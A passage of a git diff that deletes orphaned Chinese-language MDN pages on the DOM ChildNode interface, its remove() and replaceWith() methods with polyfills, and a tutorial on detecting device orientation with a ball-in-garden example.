{{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。插入位置为 <code>ChildNode</code> 之前。{{domxref("DOMString")}} 对象会被以 {{domxref("Text")}} 的形式插入。</dd> - <dt>{{domxref("ChildNode.after()")}} {{experimental_inline}}</dt> - <dd>在其父节点的子节点列表中插入一些{{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。插入位置为 <code>ChildNode</code> 之后。{{domxref("DOMString")}} 对象会被以 {{domxref("Text")}} 的形式插入。</dd> - <dt>{{domxref("ChildNode.replaceWith()")}} {{experimental_inline}}</dt> - <dd>使用一组 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象替换 <code>ChildNode</code>。{{domxref("DOMString")}} 对象会以 {{domxref("Text")}} 的形式插入。</dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">说明</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ParentNode")}} and <code>ChildNode</code>. The <code>previousElementSibling</code> and <code>nextElementSibling</code> are now defined on the latter. The {{domxref("CharacterData")}} and {{domxref("DocumentType")}} implemented the new interfaces. 新增 <code>remove()</code>, <code>before()</code>, <code>after()</code> and <code>replace()</code> 这四个方法。</td> - </tr> - <tr> - <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td> - <td>{{Spec2('Element Traversal')}}</td> - <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td> - </tr> - </tbody> -</table> - -<h2 id="Polyfill">Polyfill</h2> - -<p>GitHub 上的外部资源:<a href="https://github.com/seznam/JAK/blob/master/lib/polyfills/childNode.js">childNode.js</a></p> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.ChildNode")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>The {{domxref("ParentNode")}} pure interface.</li> - <li> - <div class="syntaxbox">Object types implementing this pure interface: {{domxref("CharacterData")}}, {{domxref("Element")}}, and {{domxref("DocumentType")}}.</div> - </li> - <li> - <div class="syntaxbox">The {{domxref("NonDocumentTypeChildNode")}} interface.</div> - </li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/childnode/remove/index.html b/files/zh-cn/orphaned/web/api/childnode/remove/index.html deleted file mode 100644 index b60cab7a0c..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/remove/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: ChildNode.remove() -slug: orphaned/Web/API/ChildNode/remove -tags: - - API - - ChildNode - - DOM - - Method -translation_of: Web/API/ChildNode/remove -original_slug: Web/API/ChildNode/remove ---- -<p>{{APIRef("DOM")}}</p> - -<p><code><strong>ChildNode.remove()</strong></code> 方法,把对象从它所属的 DOM 树中删除。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><var>node</var>.remove();</pre> - -<h2 id="示例">示例</h2> - -<h3 id="使用_remove()">使用 <code>remove()</code></h3> - -<pre class="brush: html"><div id="div-01">Here is div-01</div> -<div id="div-02">Here is div-02</div> -<div id="div-03">Here is div-03</div> -</pre> - -<pre class="brush: js">var el = document.getElementById('div-02'); -el.remove(); -// id 为 'div-02' 的 div 被删掉了 -</pre> - -<p>{{EmbedLiveSample('使用_remove()')}}</p> - -<h3 id="ChildNode.remove()_是不可见的"><code>ChildNode.remove()</code> 是不可见的</h3> - -<p>在 <code>with</code> 语句中,<code>remove()</code> 方法是不可见的。参阅 {{jsxref("Symbol.unscopables")}} 了解更多信息。</p> - -<pre class="brush: js">with(node) { - remove(); -} -// ReferenceError: remove is not defined</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>You can polyfill the <code>remove()</code> method in Internet Explorer 9 and higher with the following code:</p> - -<pre class="brush: js">//https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md -(function (arr) { - arr.forEach(function (item) { - if (item.hasOwnProperty('remove')) { - return; - } - Object.defineProperty(item, 'remove', { - configurable: true, - enumerable: true, - writable: true, - value: function remove() { - this.parentNode.removeChild(this); - } - }); - }); -})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> - -<h2 id="Specification" name="Specification">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">注释</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.ChildNode.remove")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{domxref("ChildNode")}} 纯接口。</li> - <li> - <div class="syntaxbox">实现此纯接口的对象类型: {{domxref("CharacterData")}}、{{domxref("Element")}} , 和 {{domxref("DocumentType")}}.</div> - </li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/childnode/replacewith/index.html b/files/zh-cn/orphaned/web/api/childnode/replacewith/index.html deleted file mode 100644 index 9f3ef5bd88..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/replacewith/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: ChildNode.replaceWith() -slug: orphaned/Web/API/ChildNode/replaceWith -tags: - - DOM - - Node -translation_of: Web/API/ChildNode/replaceWith -original_slug: Web/API/ChildNode/replaceWith ---- -<div>{{APIRef("DOM")}} {{SeeCompatTable}}</div> - -<p><code><strong>ChildNode</strong></code><strong><code>.replaceWith()</code></strong> 的方法用一套 {{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象,替换了该节点父节点下的子节点 。{{domxref("DOMString")}} 对象被当做等效的{{domxref("Text")}} 节点插入。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">[Throws, Unscopable] -void ChildNode.replaceWith((Node or DOMString)... nodes); -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>节点</code></dt> - <dd>一系列用来替换的{{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象。</dd> -</dl> - -<h3 id="例外">例外</h3> - -<ul> - <li>{{domxref("HierarchyRequestError")}}: 无法在层次结构中的指定点插入节点。</li> -</ul> - -<h2 id="案例">案例</h2> - -<h3 id="Using_replaceWith">Using <code>replaceWith()</code></h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var child = document.createElement("p"); -parent.appendChild(child); -var span = document.createElement("span"); - -child.replaceWith(span); - -console.log(parent.outerHTML); -// "<div><span></span></div>" -</pre> - -<h3 id="ChildNode.replaceWith_is_unscopable"><code>ChildNode.replaceWith()</code> is unscopable</h3> - -<p><code>replaceWith()</code>的方法并没有作用于with语句. 参考 {{jsxref("Symbol.unscopables")}} 获取更多信息.</p> - -<pre class="brush: js">with(node) { - replaceWith("foo"); -} -// ReferenceError: replaceWith is not defined </pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>你可以在IE9及更高级的浏览器中使用下面的代码向上兼容<code>replaceWith()</code>的方法:</p> - -<pre class="brush: js">(function (arr) { - arr.forEach(function (item) { - if (item.hasOwnProperty('replaceWith')) { - return; - } - Object.defineProperty(item, 'replaceWith', { - configurable: true, - enumerable: true, - writable: true, - value: function replaceWith() { - var argArr = Array.prototype.slice.call(arguments), - docFrag = document.createDocumentFragment(); - - argArr.forEach(function (argItem) { - var isNode = argItem instanceof Node; - docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); - }); - - this.parentNode.replaceChild(docFrag, this); - } - }); - }); -})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">注释</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-childnode-replacewith', 'ChildNode.replacewith()')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("api.ChildNode.replaceWith")}}</p> - -<h2 id="参阅">参阅</h2> - -<ul> - <li>{{domxref("ChildNode")}} 和 {{domxref("ParentNode")}}</li> - <li>{{domxref("Node.replaceChild()")}}</li> - <li>{{domxref("NodeList")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/detecting_device_orientation/index.html b/files/zh-cn/orphaned/web/api/detecting_device_orientation/index.html deleted file mode 100644 index ac781aa185..0000000000 --- a/files/zh-cn/orphaned/web/api/detecting_device_orientation/index.html +++ /dev/null @@ -1,319 +0,0 @@ ---- -title: 检测设备方向 -slug: orphaned/Web/API/Detecting_device_orientation -tags: - - Detecting - - Detecting device orientation - - Device Orientation - - Motion - - 参考 - - 方向 - - 移动设备 - - 设备方向 -translation_of: Web/API/Detecting_device_orientation -original_slug: Web/API/Detecting_device_orientation ---- -<p>{{SeeCompatTable}}</p> - -<p>有越来越多的基于web的设备能够确定它们的方向; 也就是说,它们可以报告数据以指示基于重力方向的方向改变。特别地,手持设备如手机可以利用这些信息以自动旋转屏幕,保持内容直立,当设备旋转至横屏时(宽度大于高度),提供网页内容的横屏视图。</p> - -<p>有两种Javascript事件负责处理设备方向信息。第一种是{{domxref("DeviceOrientationEvent")}},它会在加速度传感器检测到设备在方向上产生变化时触发。通过处理该事件传来的数据信息,让交互式地响应用户移动设备旋转和仰角变化成为可能。</p> - -<p>第二种是{{domxref("DeviceMotionEvent")}},它会在加速度发生改变时触发。跟{{domxref("DeviceOrientationEvent")}}不同,{{domxref("DeviceMotionEvent")}}监听的是相应方向上加速度的变化。传感器通常都具有监听{{domxref("DeviceMotionEvent")}}的能力,包括笔记本中用于保护移动中的存储设备的传感器。{{domxref("DeviceOrientationEvent")}}事件更多见于移动设备中。</p> - -<h2 id="处理方向(orientation)事件">处理方向(<span style="font-size: 2.14285714285714rem;">orientation</span><span style="font-size: 2.14285714285714rem;">)事件</span></h2> - -<p>要接收设备方向变化信息,只需要监听{{ event("deviceorientation") }}事件:</p> - -<div class="blockIndicator note"> -<p><strong>注意:</strong><a href="https://github.com/dorukeker/gyronorm.js">gyronorm.js</a> is a polyfill for normalizing the accelerometer and gyroscope data on mobile devices. This is useful for overcoming some of the differences in device support for device orientation.</p> -</div> - -<pre class="brush: js">window.addEventListener("deviceorientation", handleOrientation, true); -</pre> - -<p>注册完事件监听处理函数后(对应这个例子中的<span style="background-color: rgba(234, 239, 242, 0.247059); font-family: Consolas,Monaco,'Andale Mono',monospace; font-size: 1rem; line-height: 19px; white-space: pre;">handleOrientation</span><span style="line-height: 1.5;">),监听函数会定期地接收到最新的设备方向数据。</span></p> - -<p>方向事件对象中包含四个值:</p> - -<p>{{ domxref("DeviceOrientationEvent.absolute") }}</p> - -<p>{{ domxref("DeviceOrientationEvent.alpha") }}</p> - -<p>{{ domxref("DeviceOrientationEvent.beta") }}</p> - -<p>{{ domxref("DeviceOrientationEvent.gamma") }}</p> - -<p>下面是一个事件处理函数的例子:</p> - -<pre class="brush: js">function handleOrientation(orientData) { - var absolute = orientData.absolute; - var alpha = orientData.alpha; - var beta = orientData.beta; - var gamma = orientData.gamma; - - // Do stuff with the new orientation data -} -</pre> - -<h3 id="相关值解释">相关值解释</h3> - -<p>关于每一个轴的记录值表示的是相对于标准的坐标系,设备在某一个给定轴上的旋转量。<a href="https://developer.mozilla.org/en-US/DOM/Orientation_and_motion_data_explained" style="line-height: 1.5;" title="Orientation and motion data explained">Orientation and motion data explained</a><span style="line-height: 1.5;"> 这篇文章有更详细的描述,下面是对这篇文章的总结。</span></p> - -<ul> - <li>{{ domxref("DeviceOrientationEvent.alpha") }} 表示设备沿z轴上的旋转角度,范围为0~360。</li> - <li>{{ domxref("DeviceOrientationEvent.beta") }} 表示设备在x轴上的旋转角度,范围为-180~180。它描述的是设备由前向后旋转的情况。</li> - <li>{{ domxref("DeviceOrientationEvent.gamma") }} 表示设备在y轴上的旋转角度,范围为-90~90。它描述的是设备由左向右旋转的情况。</li> -</ul> - -<h3 id="例子">例子</h3> - -<p>这个例子会成功运行在支持检测自己方向的设备中的支持{{event("deviceorientation")}} 事件的浏览器中。</p> - -<p>让我们想象一下有一个球在花园<span style="line-height: 1.5;">中:</span></p> - -<pre class="brush: html language-html" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-html" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;"><span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"><</span>div</span> <span class="attr-name token" style="color: #669900;">class</span><span class="attr-value token" style="color: #0077aa;"><span class="punctuation token" style="color: #999999;">=</span><span class="punctuation token" style="color: #999999;">"</span>garden<span class="punctuation token" style="color: #999999;">"</span></span><span class="punctuation token" style="color: #999999;">></span></span> - <span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"><</span>div</span> <span class="attr-name token" style="color: #669900;">class</span><span class="attr-value token" style="color: #0077aa;"><span class="punctuation token" style="color: #999999;">=</span><span class="punctuation token" style="color: #999999;">"</span>ball<span class="punctuation token" style="color: #999999;">"</span></span><span class="punctuation token" style="color: #999999;">></span></span><span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"></</span>div</span><span class="punctuation token" style="color: #999999;">></span></span> -<span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"></</span>div</span><span class="punctuation token" style="color: #999999;">></span></span> - -<span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"><</span>pre</span> <span class="attr-name token" style="color: #669900;">class</span><span class="attr-value token" style="color: #0077aa;"><span class="punctuation token" style="color: #999999;">=</span><span class="punctuation token" style="color: #999999;">"</span>output<span class="punctuation token" style="color: #999999;">"</span></span><span class="punctuation token" style="color: #999999;">></span></span><span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"></</span>pre</span><span class="punctuation token" style="color: #999999;">></span></span></code></pre> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 19px; background: 0px 0px;"></div> - -<p><span style="line-height: 1.5;">花园只有200px宽(很小对吧),球在中央:</span></p> - -<pre class="brush: css language-css" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-css" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;"><span class="selector token" style="color: #669900;">.garden </span><span class="punctuation token" style="color: #999999;">{</span> - <span class="property token" style="color: #990055;">position</span><span class="punctuation token" style="color: #999999;">:</span> relative<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">width</span> <span class="punctuation token" style="color: #999999;">:</span> 200px<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">height</span><span class="punctuation token" style="color: #999999;">:</span> 200px<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">border</span><span class="punctuation token" style="color: #999999;">:</span> 5px solid #CCC<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">border-radius</span><span class="punctuation token" style="color: #999999;">:</span> 10px<span class="punctuation token" style="color: #999999;">;</span> -<span class="punctuation token" style="color: #999999;">}</span> - -<span class="selector token" style="color: #669900;">.ball </span><span class="punctuation token" style="color: #999999;">{</span> - <span class="property token" style="color: #990055;">position</span><span class="punctuation token" style="color: #999999;">:</span> absolute<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">top</span> <span class="punctuation token" style="color: #999999;">:</span> 90px<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">left</span> <span class="punctuation token" style="color: #999999;">:</span> 90px<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">width</span> <span class="punctuation token" style="color: #999999;">:</span> 20px<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">height</span><span class="punctuation token" style="color: #999999;">:</span> 20px<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">background</span><span class="punctuation token" style="color: #999999;">:</span> green<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">border-radius</span><span class="punctuation token" style="color: #999999;">:</span> 100%<span class="punctuation token" style="color: #999999;">;</span> -<span class="punctuation token" style="color: #999999;">}</span></code></pre> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 19px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 38px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 57px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 76px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 95px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 114px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 133px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 152px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 171px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 190px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 209px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 228px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 247px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 266px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 285px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 304px; background: 0px 0px;"></div> - -<p><span style="line-height: 1.5;">现在,如果我们移动设备,球将随之移动:</span></p> - -<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-js" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> ball <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> document<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">querySelector<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'.ball'</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> -<span class="keyword token" style="color: #0077aa;">var</span> garden <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> document<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">querySelector<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'.garden'</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> -<span class="keyword token" style="color: #0077aa;">var</span> output <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> document<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">querySelector<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'.output'</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> - -<span class="keyword token" style="color: #0077aa;">var</span> maxX <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> garden<span class="punctuation token" style="color: #999999;">.</span>clientWidth <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span> ball<span class="punctuation token" style="color: #999999;">.</span>clientWidth<span class="punctuation token" style="color: #999999;">;</span> -<span class="keyword token" style="color: #0077aa;">var</span> maxY <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> garden<span class="punctuation token" style="color: #999999;">.</span>clientHeight <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span> ball<span class="punctuation token" style="color: #999999;">.</span>clientHeight<span class="punctuation token" style="color: #999999;">;</span> - -<span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">handleOrientation<span class="punctuation token" style="color: #999999;">(</span></span>event<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> - <span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> event<span class="punctuation token" style="color: #999999;">.</span>beta<span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // In degree in the range [-180,180] -</span> <span class="keyword token" style="color: #0077aa;">var</span> y <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> event<span class="punctuation token" style="color: #999999;">.</span>gamma<span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // In degree in the range [-90,90] -</span> - output<span class="punctuation token" style="color: #999999;">.</span>innerHTML <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"beta : "</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"\n"</span><span class="punctuation token" style="color: #999999;">;</span> - output<span class="punctuation token" style="color: #999999;">.</span>innerHTML <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"gamma: "</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> y <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"\n"</span><span class="punctuation token" style="color: #999999;">;</span> - - <span class="comment token" style="color: #708090;"> // Because we don't want to have the device upside down -</span> <span class="comment token" style="color: #708090;"> // We constrain the x value to the range [-90,90] -</span> <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">></span> <span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">;</span> - <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;"><</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span><span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span><span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">;</span> - - <span class="comment token" style="color: #708090;"> // To make computation easier we shift the range of -</span> <span class="comment token" style="color: #708090;"> // x and y to [0,180] -</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">;</span> - y <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">;</span> - - <span class="comment token" style="color: #708090;"> // 10 is half the size of the ball -</span> <span class="comment token" style="color: #708090;"> // It center the positioning point to the center of the ball -</span> ball<span class="punctuation token" style="color: #999999;">.</span>style<span class="punctuation token" style="color: #999999;">.</span>top <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">(</span>maxX<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">*</span>x<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">/</span><span class="number token" style="color: #990055;">180</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span> <span class="number token" style="color: #990055;">10</span><span class="punctuation token" style="color: #999999;">)</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"px"</span><span class="punctuation token" style="color: #999999;">;</span> - ball<span class="punctuation token" style="color: #999999;">.</span>style<span class="punctuation token" style="color: #999999;">.</span>left <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">(</span>maxY<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">*</span>y<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">/</span><span class="number token" style="color: #990055;">180</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span> <span class="number token" style="color: #990055;">10</span><span class="punctuation token" style="color: #999999;">)</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"px"</span><span class="punctuation token" style="color: #999999;">;</span> -<span class="punctuation token" style="color: #999999;">}</span> - -window<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">addEventListener<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'deviceorientation'</span><span class="punctuation token" style="color: #999999;">,</span> handleOrientation<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 19px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 38px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 57px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 76px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 95px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 114px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 133px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 152px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 171px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 190px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 209px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 228px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 247px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 266px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 285px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 304px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 323px; background: 0px 0px;"></div> - -<div class="line-number" 